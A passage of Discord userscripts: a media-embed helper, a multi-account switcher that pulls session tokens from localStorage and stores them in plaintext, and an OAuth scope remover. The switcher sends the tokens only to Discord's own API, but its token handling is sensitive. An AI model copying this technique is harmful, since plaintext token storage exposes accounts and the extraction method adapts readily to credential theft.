if(hasAttach(curAcc)){ console.log("Video Found"); var children = curAcc.childNodes; var url = curAcc.childNodes[0].childNodes[1].childNodes[0].href; var endCap = url.split(".").pop(); var validEndCapsVid = "webm mp4 wma m4v mov avi flx mpg wmv"; var validEndCapsAud = "mp3 aac ogg m4a flac wav"; if(!validEndCapsVid.includes(endCap) && !validEndCapsAud.includes(endCap) && endCap == undefined){ return; } if(validEndCapsAud.includes(endCap)){ videoTemplate = document.createElement("audio"); } //videoTemplate.setAttribute("style", ""); displayAs(curAcc,url,videoTemplate); } } },300); // Your code here... })(); (function() { 'use strict'; const v = "1.6"; const apiPrefix = "https://discord.com/api/v8"; let neededClasses = []; let functionKeeper = webpackJsonp[0][1]; let classesContain = [ ["menu","scroller","styleFixed","styleFlexible","item","hideInteraction","customItem","labelContainer","label","subtext","iconContainer","icon","hintContainer","imageContainer","caret","image","disabled","separator","submenuContainer","submenuPaddingContainer","submenu","colorDefault","checkbox","radioSelection","check","focused","colorBrand","colorDanger","colorPremium","groupLabel"], ["statusItem","status","icon","description","customStatusItem","customStatusWithEmoji","customEmoji","customEmojiPlaceholder","customText","clearStatusButton","clearStatusIcon"], ["layerContainer","layer","layerHidden","disabledPointerEvents"], ["backdrop","backdropWithLayer"], ["backdrop","layer"], ["responsiveWidthMobile","innerPadding","focusLock","root","small","medium","large","fullscreenOnMobile","footer","header","separator","content","close","hideOnFullscreen"], ["artHeight","emojiSize","emojiMargin","formGroup","modalRoot","inputContainer","modalCloseButton","headerText","emojiButton","fullOpacity","emojiButtonContainer","emoji","input","clearButton","clearIcon","headerContainer","header","art","cancelButton"], ["_flex","_horizontal","_horizontalReverse","flex","horizontal","horizontalReverse","flexChild","flexMarginReset"], ["flex","alignStart","alignEnd","alignCenter","alignStretch","alignBaseline","justifyStart","justifyEnd","justifyCenter","justifyAround","justifyBetween","noWrap","wrap","wrapReverse","directionRow","directionRowReverse","directionColumn","spacer","vertical","horizontal","horizontalReverse","flexCenter"], ["button","lookFilled","colorBrand","spinnerItem","lookInverted","lookOutlined","lookGhost","lookLink","contents","hoverBrand","hasHover","colorGrey","hoverGrey","colorRed","hoverRed","colorGreen","hoverGreen","colorYellow","hoverYellow","colorLink","hoverLink","colorWhite","hoverWhite","colorBlack","hoverBlack","colorPrimary","hoverPrimary","colorTransparent","hoverTransparent","lookBlank","sizeTiny","sizeSmall","sizeMedium","sizeLarge","sizeXlarge","sizeMin","sizeMax","sizeIcon","grow","fullWidth","submitting","spinner","disabledButtonWrapper","disabledButtonOverlay"], ["scrollerBase","thin","fade","scrolling","auto","none","content","disableScrollAnchor"], ["container","downloadProgressCircle","guilds","base","sidebar","hasNotice","panels","content","activityPanel","hiddenOnMobileStore"], ["notice","colorDefault","button","colorNeutral","colorDownload","colorNotification","colorDark","colorPremium","colorPremiumTier1","colorPremiumTier2","colorInfo","colorSuccess","colorDanger","colorStreamerMode","colorSpotify","platformIcon","colorBrand","colorCustom","closeButton","buttonMinor"], ]; let ccSet = []; for (let i = 0; i < classesContain.length; i++) { const element = classesContain[i]; ccSet.push(new Set(element)); } for (const key in functionKeeper) { if (functionKeeper.hasOwnProperty(key)) { const element = functionKeeper[key]; let ans = {}; element(ans); ans = ans.exports; if(ans != undefined || ans != null){ ans = Object.keys(ans); let a = new Set(ans); for (let j = 0; j < ccSet.length; j++) { const element2 = ccSet[j]; if(eqSet(element2, a)){ neededClasses[j] = key; } } } } } function eqSet(as, bs) { if (as.size !== bs.size) return false; for (var a of as) if (!bs.has(a)) return false; return true; } let allClasses = {}; const createElm = (html) => { const temp = document.createElement('div'); temp.innerHTML = html; return temp.removeChild(temp.firstElementChild); //webpackJsonp[0][1][neededClasses[0]].toString(); is the way } const insertCss = (css) => { const style = document.createElement('style'); style.appendChild(document.createTextNode(css)); document.head.appendChild(style); return style; } insertCss(`.customAccount {background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0iI0I5QkJCRSIgd2lkdGg9IjE4cHgiIGhlaWdodD0iMThweCI+PHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPjxwYXRoIGQ9Ik0xNiAxMWMxLjY2IDAgMi45OS0xLjM0IDIuOTktM1MxNy42NiA1IDE2IDVjLTEuNjYgMC0zIDEuMzQtMyAzczEuMzQgMyAzIDN6bS04IDBjMS42NiAwIDIuOTktMS4zNCAyLjk5LTNTOS42NiA1IDggNUM2LjM0IDUgNSA2LjM0IDUgOHMxLjM0IDMgMyAzem0wIDJjLTIuMzMgMC03IDEuMTctNyAzLjVWMTloMTR2LTIuNWMwLTIuMzMtNC42Ny0zLjUtNy0zLjV6bTggMGMtLjI5IDAtLjYyLjAyLS45Ny4wNSAxLjE2Ljg0IDEuOTcgMS45NyAxLjk3IDMuNDVWMTloNnYtMi41YzAtMi4zMy00LjY3LTMuNS03LTMuNXoiLz48L3N2Zz4=);background-size: contain;background-repeat: no-repeat;} .changeAccount {grid-area: icon;margin-left: -2px;width: 16px;height: 16px;} .accountChooserContainer {display: flex;height: 70px;} .accountChooserAvatar {border-radius: 50%; align-self: center;height: 80%;} .accountName {align-self: center;font-size: x-large;font-weight: 400;color: var(--interactive-active);} .accountLogin {margin-left: auto;align-self: center;padding: 8px 20px;background-color: #43b581;font-weight: 900;color: #fff;border-radius: 5px;} .accountLogin:hover {background-color: #3ca374;} .accountDiscriminator{align-self: center;margin-top: 7px;color: var(--header-secondary);} #addAccount{margin-left: auto;margin: 10px auto;color: var(--header-secondary);cursor: pointer;} #addAccount:hover{text-decoration: underline;} .versionNotifier {background-color: #6b1ba7;} #changeLogButtonClick:hover {color: #6b1ba7;} `); function parseAllClasses(){ for (var i = 0; i < neededClasses.length; i++) { let x = {}; webpackJsonp[0][1][neededClasses[i]](x); allClasses[neededClasses[i]] = x.exports; } console.log(allClasses); } window.onclick = () => { let cont = document.getElementsByClassName(allClasses[neededClasses[0]].scroller); if(cont.length > 0 && !document.getElementById("status-picker-account")){ cont[0].appendChild(createElm(`<div role="separator" class="${allClasses[neededClasses[0]].separator}"></div>`)); let elmnt = createElm(`<div class="${allClasses[neededClasses[0]].item} ${allClasses[neededClasses[0]].colorDefault}" aria-disabled="false" role="menuitem" id="status-picker-account" tabindex="-1"><div class="${allClasses[neededClasses[1]].statusItem}" aria-label="Set a custom status"><div class="changeAccount customAccount"></div><div class="${allClasses[neededClasses[1]].status}">Change account</div></div></div>`); elmnt.onmouseover = () => { let allElmnts = document.getElementsByClassName(allClasses[neededClasses[0]].item); for (var i = 0; i < allElmnts.length; i++) { allElmnts[i].classList.remove(allClasses[neededClasses[0]].focused); } elmnt.classList.add(allClasses[neededClasses[0]].focused); } elmnt.onmouseleave = () => { let allElmnts = document.getElementsByClassName(allClasses[neededClasses[0]].item); for (var i = 0; i < allElmnts.length; i++) { allElmnts[i].classList.remove(allClasses[neededClasses[0]].focused); } } elmnt.onclick = openPicker; cont[0].appendChild(elmnt); } if(localStorage.versionMA != v && !document.getElementsByClassName("versionNotifier")[0]){ let baseElement = document.getElementsByClassName(allClasses[neededClasses[11]].base); if(baseElement[0]){ baseElement[0].prepend(createElm(`<div class="${allClasses[neededClasses[12]].notice} ${allClasses[neededClasses[12]].colorDefault} versionNotifier"><div class="${allClasses[neededClasses[12]].closeButton}" id="versionNotifierCloseButton" aria-label="Dismiss" role="button" tabindex="0"></div>Multiple Discord Accounts ${v} makes corners rounder!<button id="changeLogButtonClick" class="${allClasses[neededClasses[12]].button}">View changes</button></div>`)); document.getElementById("changeLogButtonClick").onclick = () => { window.open("https://github.com/cazeip/MultipleAccounts/blob/master/changes.md"); document.getElementsByClassName("versionNotifier")[0].remove(); localStorage.versionMA = v; } document.getElementById("versionNotifierCloseButton").onclick = () => { document.getElementsByClassName("versionNotifier")[0].remove(); localStorage.versionMA = v; } } } } function getUserInfo(){ window.dispatchEvent(new Event('beforeunload')); let currentToken = JSON.parse(localStorage.getItem("token")); return fetch(apiPrefix + "/users/@me", { headers: { Accept: "*/*", "Accept-Language": "en-US", Authority: "discordapp.com", Authorization: currentToken, "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36", }, method: "GET", }).then((res) => (res.status === 200 ? res.json() : Promise.resolve())) .catch(console.error); } function getUser(userID){ window.dispatchEvent(new Event('beforeunload')); let currentToken = JSON.parse(localStorage.getItem("token")); return fetch(apiPrefix + "/users/"+userID, { headers: { Accept: "*/*", "Accept-Language": "en-US", Authority: "discordapp.com", Authorization: currentToken, "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36", }, method: "GET", }).then((res) => (res.status === 200 ? res.json() : Promise.resolve())) .catch(console.error); } async function fillLocalStorage(){ let info = await getUserInfo(); window.dispatchEvent(new Event('beforeunload')); info.token = JSON.parse(localStorage.getItem("token")); localStorage.setItem("multipleAccounts", JSON.stringify([{id:info.id, token: info.token}])); } function apiCall(apiPath, body, method = "GET"){ window.dispatchEvent(new Event('beforeunload')); let currentToken = JSON.parse(localStorage.getItem("token")); return fetch(apiPrefix + apiPath, { body: body ? JSON.stringify(body) : undefined, headers: { Accept: "*/*", "Accept-Language": "en-US", Authority: "discordapp.com", Authorization: currentToken, "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36", }, method, }).then((res) => (res.status === 200 ? res.json() : Promise.resolve())) .catch(console.error); } function changeAccount(newToken){ window.dispatchEvent(new Event('beforeunload')); let token = JSON.parse(localStorage.token); apiCall("/auth/logout", {"provider":null,"voip_provider":null}, "POST"); window.location.href = "http://discord.com/login"; localStorage.token = "\""+newToken+"\""; if (newToken == "--[LogIn]--") { localStorage.removeItem("token"); } } async function openPicker(){ if(localStorage.getItem("multipleAccounts") == null || localStorage.getItem("multipleAccounts") == undefined){ await fillLocalStorage(); }else{ let info = await getUserInfo(); let localSt = JSON.parse(localStorage.getItem("multipleAccounts")); let def = false; for (let i = 0; i < localSt.length; i++) { if(localSt[i].id === info.id){ def = true; } } if(!def){ localSt.push({id: info.id, token: JSON.parse(localStorage.getItem("token"))}); } localStorage.setItem("multipleAccounts", JSON.stringify(localSt)); } let info = JSON.parse(localStorage.getItem("multipleAccounts")); if(document.getElementById("accountPickerModal")) return; let a = document.getElementsByClassName(allClasses[neededClasses[2]].layerContainer); let y = createElm(`<div id="accountPickerBg" class="${allClasses[neededClasses[3]].backdropWithLayer}" style="opacity: 0; background-color: rgb(0, 0, 0); transform: translateZ(0px);transition: opacity 0.2s;"></div>`); y.onclick = closePicker; a[a.length - 1].appendChild(y); let x = createElm(`<div class="${allClasses[neededClasses[4]].layer}" id="accountPickerModal"> <div class="${allClasses[neededClasses[5]].focusLock}" role="dialog" aria-label="Set a custom status" tabindex="-1" aria-modal="true"> <div class="${allClasses[neededClasses[6]].modalRoot} ${allClasses[neededClasses[5]].root} ${allClasses[neededClasses[5]].small} ${allClasses[neededClasses[5]].fullscreenOnMobile}" id="animatedModal" style="opacity: 0;transform: scale(0.2);transition: transform .2s, opacity .2s;"> <div class="${allClasses[neededClasses[7]].flex} ${allClasses[neededClasses[7]]._horizontal} ${allClasses[neededClasses[8]].justifyStart} ${allClasses[neededClasses[8]].alignCenter} ${allClasses[neededClasses[8]].noWrap} ${allClasses[neededClasses[5]].header} ${allClasses[neededClasses[6]].headerContainer}" id="replaceBackground" style="flex: 0 0 auto;background-position: bottom;background-size: cover;background-image: url(https://cdn.discordapp.com/attachments/768475463524941865/768481090087944233/pawel-nolbert-4u2U8EO9OzY-unsplash.jpg);padding: 30px;"> <div class="${allClasses[neededClasses[6]].header}" style="padding-top: 0;"><h4 class="${allClasses[neededClasses[6]].headerText}">Choose a Discord account</h4></div><button id="closeXbutton" aria-label="Close" type="button" class="${allClasses[neededClasses[5]].close} ${allClasses[neededClasses[6]].modalCloseButton} ${allClasses[neededClasses[9]].button} ${allClasses[neededClasses[9]].lookBlank} ${allClasses[neededClasses[9]].colorBrand} ${allClasses[neededClasses[9]].grow}"> <div class="${allClasses[neededClasses[9]].contents}"> <svg aria-hidden="false" width="24" height="24" viewBox="0 0 24 24"><path fill="currentColor" d="M18.4 4L12 10.4L5.6 4L4 5.6L10.4 12L4 18.4L5.6 20L12 13.6L18.4 20L20 18.4L13.6 12L20 5.6L18.4 4Z"></path></svg> </div></button> </div><div id="accountLinesContainer" class="${allClasses[neededClasses[5]].content} ${allClasses[neededClasses[10]].thin}" dir="ltr" style="overflow: hidden scroll; padding-right: 8px; padding-top: 10px;"></div><span id="addAccount">Not seeing your account? Click here to add one.</span></div></div></div>`); a[a.length - 1].appendChild(x); document.getElementById("closeXbutton").onclick = closePicker; document.getElementsByClassName(allClasses[neededClasses[2]].layer)[0].style.display = "none"; document.getElementById("addAccount").onclick = () => { changeAccount("--[LogIn]--"); } setTimeout(async () => { document.getElementById("accountPickerBg").style.opacity = "0.85"; document.getElementById("animatedModal").style.transform = "scale(1)"; document.getElementById("animatedModal").style.opacity = "1"; for (let i = 0; i < info.length; i++) { let line; let user = await getUser(info[i].id); if(user.avatar == null){ line = createElm(`<div class="accountChooserContainer"><img class="accountChooserAvatar" src="https://cdn.discordapp.com/embed/avatars/${user.discriminator % 5}.png"><div style="margin-left: 20px;align-self: center;display: flex;flex-direction: column;"><div><span class="accountName">${user.username}</span><span class="accountDiscriminator">#${user.discriminator}</span></div><span style="color: var(--text-muted);padding-top: 2px;padding-left: 0;">ID: ${user.id}</span></div><button id="AccountSwitchButton${i}" class="accountLogin">Log in</button></div>`); }else{ line = createElm(`<div class="accountChooserContainer"><img class="accountChooserAvatar" src="https://cdn.discordapp.com/avatars/${user.id}/${user.avatar}.png?size=128"><div style="margin-left: 20px;align-self: center;display: flex;flex-direction: column;"><div><span class="accountName">${user.username}</span><span class="accountDiscriminator">#${user.discriminator}</span></div><span style="color: var(--text-muted);padding-top: 2px;padding-left: 0;">ID: ${user.id}</span></div><button id="AccountSwitchButton${i}" class="accountLogin">Log in</button></div>`); } document.getElementById("accountLinesContainer").appendChild(line); document.getElementById("AccountSwitchButton"+i).onclick = () => { changeAccount(info[i].token); } } }, 100); } function closePicker(){ document.getElementById("accountPickerBg").style.opacity = "0"; document.getElementById("animatedModal").style.transform = "scale(0.2)"; document.getElementById("animatedModal").style.opacity = "0"; setTimeout( () => { document.getElementById("accountPickerBg").remove(); document.getElementById("accountPickerModal").remove(); }, 201); } window.localStorage = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage; parseAllClasses(); })(); (function () { 'use strict'; const config = new MonkeyConfig({ title: 'Discord Authorization Page', menuCommand: true, params: { removeGuildsJoinScope: { type: 'checkbox', default: true }, removeEmailScope: { type: 'checkbox', default: false }, skipPromptIfPossible: { type: 'checkbox', default: false } } }); const urlParams = new URLSearchParams(location.search); if (RegExp('discord.com/oauth2/authorize').test(document.referrer)) { console.log('previos page was authorize, exiting'); return; } let href = location.href; const scopes = urlParams.get("scope").split(' '); if (config.get('removeGuildsJoinScope') && scopes.includes('guilds.join')) { console.log('found guilds.join scope, removing it'); href = href.replace(/guilds.join/, ''); } if (config.get('removeEmailScope') && scopes.includes('email')) { console.log('found email scope, removing it'); href = href.replace(/email/, ''); } console.log('moving to new domain'); location.assign(`${href}${config.get('skipPromptIfPossible') ? '&prompt=none' : ''}`); })();